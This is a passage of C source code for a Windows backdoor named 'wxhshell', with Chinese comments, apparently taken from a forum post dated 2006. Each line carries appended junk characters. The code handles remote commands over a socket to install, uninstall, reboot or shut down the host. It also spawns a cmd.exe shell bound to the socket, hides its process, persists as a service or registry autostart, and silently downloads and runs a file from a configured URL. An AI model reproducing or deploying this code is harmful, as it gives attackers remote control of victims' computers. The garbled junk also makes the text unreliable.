      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ejID5NqG  
    break; nWd]P\a'V  
  } Ry+Ax4#+(y  
  // 安装 Ie14`'  
  case 'i': { >^!qx b-  
    if(Install()) K/OE;;<IA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P{{pp<tX*&  
    else K}(0H[P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fQtV-\Bc  
    break; -55Pvg0ND  
    } 8&0+Az"{O  
  // 卸载 >gqd y*Bg  
  case 'r': { %%=PpKYtSD  
    if(Uninstall()) l_`DQ8L`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >#j f Z5t  
    else R"0fZENTG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9*"Ae0ok1  
    break; .S{Q }S  
    } #UO#kC<2(B  
  // 显示 wxhshell 所在路径 Ig*qn# Dd  
  case 'p': { @fML.AT  
    char svExeFile[MAX_PATH]; -5_[m@Vr  
    strcpy(svExeFile,"\n\r"); n%"0%A  
      strcat(svExeFile,ExeFile); S@N:Cj  
        send(wsh,svExeFile,strlen(svExeFile),0); R>05MhA+  
    break; qit D{;  
    } y&$mN  
  // 重启 S<+/Ep 2  
  case 'b': { AZi|85rN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >We:g Kxr  
    if(Boot(REBOOT)) b<N962 q$q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H+VKWGmfG  
    else { < mb.F-8  
    closesocket(wsh); G31??L:<  
    ExitThread(0); _ zh>q4M  
    } .%iJin"  
    break; ~qk5Mk4$  
    } ~gjREl,+D#  
  // 关机 H /kSFf{  
  case 'd': { rTR4j>Ua~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ai 9UB=[R  
    if(Boot(SHUTDOWN)) 6jGPmOM/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U6R"eQUTV  
    else { vXio /m  
    closesocket(wsh); 6axDuwQ  
    ExitThread(0); Ckelr  
    } 7i,Z c]  
    break; kCq]#e~wq  
    } &vy/Vd  
  // 获取shell ) Apg  
  case 's': { yLo{^4a.  
    CmdShell(wsh); ##6_kcL:6G  
    closesocket(wsh); -}h+hS50F  
    ExitThread(0); vw'`t6  
    break; ?-"%%#  
  } n$ri:~s  
  // 退出 (($"XOU  
  case 'x': { |#r [{2sS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8, >YB+Hb  
    CloseIt(wsh); z&"-%l.b@}  
    break; +&w=*IAKZ  
    } q $Hg\ {c  
  // 离开 XuQ7nlbnq  
  case 'q': { |+^-b}0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fCA/   
    closesocket(wsh); *=-o0c  
    WSACleanup(); T%%+v#+  
    exit(1); E>BP b  
    break; f-V8/  
        } b :Knc$  
  } $7#N@7  
  } _.xT :b36  
b6IYo!3  
  // 提示信息 B%v2)+?@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .b4_O CGg  
} (l28,\Bel  
  } ;CU<\  
p0KkPE">p4  
  return; wAr (5nEbx  
} ?fog 34g  
&CvNNDgrJ  
// shell模块句柄 @j%r6N  
int CmdShell(SOCKET sock) \dyJ=tg  
{ _E e`Uk  
STARTUPINFO si; {gE19J3  
ZeroMemory(&si,sizeof(si)); *t;'I -1w^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kilq Jg1%C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lm kv .XF  
PROCESS_INFORMATION ProcessInfo; RVFQ!0 C  
char cmdline[]="cmd"; ZQT14.$L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m6a q_u{W  
  return 0; +\FTR  
} 5!ll #/ {`  
/B$"fxFf  
// 自身启动模式 ckqU2ETpD}  
int StartFromService(void) G?LPj*=$?  
{ %}+!%A.3  
typedef struct 8K! l X  
{ kL.JrbM"  
  DWORD ExitStatus; z6)SaSYE  
  DWORD PebBaseAddress; &qki NS  
  DWORD AffinityMask; Z!TLWX "  
  DWORD BasePriority; `~Eo;'(+^  
  ULONG UniqueProcessId; 0`=#1u8  
  ULONG InheritedFromUniqueProcessId; '`q&UPg]  
}   PROCESS_BASIC_INFORMATION; L\||#w   
P8K{K:T  
PROCNTQSIP NtQueryInformationProcess; J4qFU^  
\(t.|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .+<Ul ]e/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T}(J`{ 9i  
.6%-Il  
  HANDLE             hProcess; =,0E]M Z  
  PROCESS_BASIC_INFORMATION pbi; QN_Zd@K*A  
Zx(VwB2   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1F*gPhm  
  if(NULL == hInst ) return 0; }&d@6m]  
_B` '1tNx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");   5;+OpB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B\a-Q,Wf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4,m aA  
<4z |"(  
  if (!NtQueryInformationProcess) return 0; ]/!#:  
jX^uNmb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8kQ >M  
  if(!hProcess) return 0; Vx@JP93|  
SI=vA\e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sE$!MQb  
sQrP,:=r#  
  CloseHandle(hProcess); D 8^wR{-;J  
G>{Bij44  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xU#f>@v!  
if(hProcess==NULL) return 0; 7/lXy3B4  
T:aYv;#0  
HMODULE hMod; c&.>SR')  
char procName[255]; V`Z-m-V~1  
unsigned long cbNeeded; *.wX9g9\  
DfP4 `  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hjywYd]8  
dieGLA<5_X  
  CloseHandle(hProcess); won;tO]\;@  
m @) ~.E  
if(strstr(procName,"services")) return 1; // 以服务启动 s/+@o:  
)(`I1"1   
  return 0; // 注册表启动 X TpYf  
} F@Qzh  
RnV )*  
// 主模块 :@zz5MB5@  
int StartWxhshell(LPSTR lpCmdLine) 7Z0fMk  
{ mt$0p|B8  
  SOCKET wsl; 5y;texsj[  
BOOL val=TRUE; -@{5 u d  
  int port=0; !E<y:$eH:  
  struct sockaddr_in door; e;9Z/);#s  
A L|F Bd  
  if(wscfg.ws_autoins) Install(); ?4Z`^uy  
J ylav:  
port=atoi(lpCmdLine); T)J=lw  
!L4Vz7 C  
if(port<=0) port=wscfg.ws_port; [F4] pR(  
fQcJyX  
  WSADATA data; CAdqoCz|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %"|I` m  
) -x0xY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f0+)%gO{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &GF@9BXI3  
  door.sin_family = AF_INET; zi l^^wT0J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hw/ :  
  door.sin_port = htons(port); 1+|s   
t'Zq>y;yg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wlk{V  
closesocket(wsl); mm(Ff>O  
return 1; mOG;[CB  
} \^O&){q(9  
1sgI,5liUs  
  if(listen(wsl,2) == INVALID_SOCKET) { OKs1irt5  
closesocket(wsl); *;7~aM  
return 1; ^]}+ s(  
} *#p}>\Y{  
  Wxhshell(wsl); T.\=R  
  WSACleanup(); ;oW#>!HrY  
cKt=_4Lf  
return 0; 7M;7jI/C  
yO\ .dp  
} -\C;2&(  
r:fMd3;gq  
// 以NT服务方式启动 BEWDTOY[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lky<L96  
{ ~>v v9-_  
DWORD   status = 0; 57 (bd0@8  
  DWORD   specificError = 0xfffffff; 7]se!k,  
r'!L}^n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h= tzG KI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -I dW-9~9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gf``0F)  
  serviceStatus.dwWin32ExitCode     = 0; j4pxu/2  
  serviceStatus.dwServiceSpecificExitCode = 0; ,*_=w^;Rr  
  serviceStatus.dwCheckPoint       = 0; V0 70oZ  
  serviceStatus.dwWaitHint       = 0; BN??3F8C  
i+rh&,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]\DZW4?'  
  if (hServiceStatusHandle==0) return; 4mYJi#e6x  
9Z, K  
status = GetLastError(); Fo\* Cr9D  
  if (status!=NO_ERROR) ejs_ ?  
{ %l{0z<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =^a Ngq  
    serviceStatus.dwCheckPoint       = 0; >1luLp/,$  
    serviceStatus.dwWaitHint       = 0; ;ED` 7  
    serviceStatus.dwWin32ExitCode     = status; JmlMfMpXMs  
    serviceStatus.dwServiceSpecificExitCode = specificError; /j%(Z/RM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9R$0[HbI3  
    return; hO8~Rg   
  } haNi [|  
2>`m1q:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cg`bbZ  
  serviceStatus.dwCheckPoint       = 0; h"O4r8G}  
  serviceStatus.dwWaitHint       = 0; >JOEp0J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,j3Yvn W  
} >~_oSC)E  
{\:"OcP #  
// 处理NT服务事件,比如:启动、停止 |.]sL0; 4Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3i\<#{  
{ k5M3g*  
switch(fdwControl) :c03"jvYE  
{ (r Tn6[ *  
case SERVICE_CONTROL_STOP: ,u.G6"<  
  serviceStatus.dwWin32ExitCode = 0; ^HiI   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y}aKL(AaU  
  serviceStatus.dwCheckPoint   = 0; /i:c!l9  
  serviceStatus.dwWaitHint     = 0; C[X2]zr  
  { t[=-4;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sKu/VAh x  
  } $c^,TAN  
  return; mCb1^Y  
case SERVICE_CONTROL_PAUSE: PCqE9B)l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #/"?.Z;SSH  
  break; )h0 3sv  
case SERVICE_CONTROL_CONTINUE: B7QuSo//  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $0[t<4K`yn  
  break; #{f%b,.yxt  
case SERVICE_CONTROL_INTERROGATE: bX*>Zm   
  break; I \Luw*:  
}; .I h'&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n^[VN[ VC  
} X}f u $2  
%p; 'l  
// 标准应用程序主函数 `J l/@bE=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AQ)DiH  
{ S:= _o  
!_i;6UVG  
// 获取操作系统版本 QZZt9rA;  
OsIsNt=GetOsVer(); 5Z]]xR[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \bXusLI!l  
(JX 9c  
  // 从命令行安装 /^M|$JRI  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1#Q~aY  
4QZ|e{t  
  // 下载执行文件 pB;8yz=  
if(wscfg.ws_downexe) { 59k[A~)~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XbaUmCuh  
  WinExec(wscfg.ws_filenam,SW_HIDE); cqd}.D  
} $:}sm0;  
z%lLbKSe  
if(!OsIsNt) { Bx" eX>A8  
// 如果时win9x,隐藏进程并且设置为注册表启动 (qyT,K8  
HideProc(); u%24% Q  
StartWxhshell(lpCmdLine); Rlwewxmr  
} G2 {R5F !  
else >{1 i8 b@  
  if(StartFromService()) SoJ=[5W  
  // 以服务方式启动 (8Inf_59  
  StartServiceCtrlDispatcher(DispatchTable); &@U)  
else -]~KQvIH!  
  // 普通方式启动 96#aG h>  
  StartWxhshell(lpCmdLine); p|0ZP6!|  
)<K3Fz Bs  
return 0; ; 8B )J<y  
}
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只看该作者 1 发表于: 2006-10-10
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